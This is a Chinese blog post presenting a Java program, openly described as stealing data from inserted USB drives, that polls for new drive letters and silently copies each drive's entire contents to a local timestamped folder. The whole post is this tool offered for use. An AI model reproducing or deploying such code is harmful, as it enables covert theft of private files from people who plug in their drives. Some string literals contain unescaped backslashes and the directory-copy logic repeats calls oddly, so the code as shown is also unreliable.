• 一个java小程序,盗取插入的U盘中的数据。


    package cn.itheima.sh;
    
    import java.io.*;
    import java.text.SimpleDateFormat;
    import java.util.ArrayList;
    import java.util.Date;
    
    public class Demo {
        public static void main(String[] args) throws InterruptedException {
            steal("d:\autoCopy");
        }
    
    
        //将插入的u盘的所有数据拷贝到指定目录中
        private static void steal(String dir) {
            File file = new File(dir);
            if (file.mkdirs())
                System.out.println("创建文件夹" + file.getPath() + "完成!");
            long sizeCopied = 0L;
            long totalFileSize = 0L;
            while (true) {
                String report = monitor();
                if (!report.equals("")) {
                    System.out.println(report);
                    if (report.contains("插入")) {
                        //根据当前时间创建一个文件夹
                        Date now = new Date();
                        SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMddHHmmss");
                        String s = sdf.format(now);
                        String diskName = report.substring(2, 4);
                        //检测u盘信息,
                        File disk = new File(diskName);
                        totalFileSize = disk.getTotalSpace() - disk.getFreeSpace();
                        System.out.println("正在拷贝中...");
                        sizeCopied += copyDisk(diskName, dir + "\" + s);
                        System.out.print("拷贝结束!");
                        System.out.print("本次总拷贝:");
                        System.out.printf("%5.2f", sizeCopied * 1.0 / 1024 / 1024 / 1024);
                        System.out.println("GB");
                        System.out.print("完成度为");
                        System.out.printf("%5.2f", sizeCopied * 1.0 / totalFileSize * 100);
                        System.out.println("%");
                    }
                }
            }
        }
    
        //拷贝文件或文件夹(不包括里面的内容)到指定的目录,返回已拷贝的数据的大小。
        private static long copyFile(String absoluteName, String dir) {
            long size = 0L;
            File file = new File(absoluteName);
            if (file.exists()) {
                String fileName = file.getName();
                File newFile = new File(dir + fileName);
                //1.如果是文件夹,就在指定目录下新建同名的文件夹
                if (file.isDirectory()) {
                    if (newFile.mkdir()) {
                        System.out.println("创建文件夹" + newFile.getPath() + "完成!");
                    }
                }
                //2.如果是文件,就拷贝里面的内容
                try {
                    if (file.isFile()) {
                        BufferedInputStream bis = new BufferedInputStream(new FileInputStream(file));
                        byte[] buf = new byte[1024];
                        int len;
                        BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(newFile));
                        while ((len = bis.read(buf, 0, buf.length)) != -1) {
                            bos.write(buf, 0, len);
                        }
                        bos.flush();
                        bos.close();
                        bis.close();
                        size = file.length();
                        System.out.println("拷贝文件" + absoluteName + "完成!");
                        return size;
                    }
                } catch (Exception e) {
                    System.out.println("系统异常,复制中断");
                }
            }
    
            return size;
        }
    
        //拷贝指定文件夹,从dir到dir2,dir不能是根目录,返回已拷贝的数据的总大小
        private static long copyDir(String dir, String dir2) {
            long size = 0L;
            size += copyFile(dir, dir2);
            File file = new File(dir);
            File[] subFiles = file.listFiles();
            if (subFiles != null) {
                for (File subFile : subFiles) {
                    size += copyFile(dir, dir2);
                    if (subFile.isDirectory()) {
                        copyDir(subFile.getPath(), dir2 + file.getName() + "\" + file.getParentFile().getName());
                    }
                    if (subFile.isFile()) {
                        size += copyFile(subFile.getPath(), dir2 + file.getName() + "\" + file.getParentFile().getName());
                    }
                }
            }
            return size;
        }
    
        //拷贝指定磁盘到dir2中
        private static long copyDisk(String disk, String dir2) {
            long size = 0L;
            String diskName = disk.substring(0, 1);
            String target = dir2 + "\" + diskName + "\";
            File targetFile = new File(target);
            if (targetFile.mkdirs()) {
                System.out.println("创建文件夹" + targetFile.getPath() + "完成!");
            }
            File source = new File(disk);
            size += copyFile(source.getPath(), target);
            File[] files = source.listFiles();
            if (files != null) {
                for (File file : files) {
                    size += copyDir(file.getPath(), target);
                }
            }
            return size;
        }
    
        //刷新磁盘列表
        private static ArrayList<File[]> flashDiskesArray(ArrayList<File[]> arrayList) {
            File[] files = File.listRoots();
            arrayList.add(files);
            ArrayList<File[]> newArrayList = null;
            if (arrayList.size() > 2) {
                newArrayList = new ArrayList<>();
                newArrayList.add(0, arrayList.get(arrayList.size() - 2));
                newArrayList.add(1, arrayList.get(arrayList.size() - 1));
            }
            return newArrayList;
        }
    
        //根据传入两个File数组,找出插入或弹出的盘符,并返回,如果没有就返回""
        private static String compare(File[] before, File[] now) {
            StringBuilder result = new StringBuilder("");
            if (before.length != now.length) {
                result.append(before.length > now.length ? "弹出" : "插入");
            }
            File[] longer = before.length > now.length ? before : now;
            File[] shorter = before.length < now.length ? before : now;
            for (File currentFile : longer) {
                Boolean findSameFile = false;
                for (File aShorter : shorter) {
                    if (currentFile.compareTo(aShorter) == 0) {
                        findSameFile = true;
                    }
                }
                //找到插入或弹出的盘符
                if (!findSameFile) {
                    result.append(currentFile.getPath());
                }
            }
            return result.toString();
        }
    
        //监听系统中的磁盘添加或删除
        private static String monitor() {
            ArrayList<File[]> arrayList = new ArrayList<>();
            arrayList.add(File.listRoots());
            arrayList.add(File.listRoots());
            String result;
            while (true) {
                arrayList = flashDiskesArray(arrayList);
                result = compare(arrayList.get(0), arrayList.get(1));
                if (!result.equals("")) {
                    break;
                }
                try {
                    Thread.sleep(1000);
                } catch (InterruptedException e) {
                    e.printStackTrace();
                }
            }
            return result;
        }
    
    
    }
    

      

  • 相关阅读:
    HDU 6106 Classes【水题】
    HDU 6106 Classes【水题】
    ACM常用解题技巧方法
    ACM常用解题技巧方法
    程序员语录
    数据库设计的三大范式
    IDEA中Java代码存入DB中为乱码
    IDEA中如何添加jar包
    Java的Protected
    Hibernate JPA 如何使用SQL文直接查询
  • 原文地址:https://www.cnblogs.com/lixin4395/p/10506121.html
Copyright © 2020-2023  润新知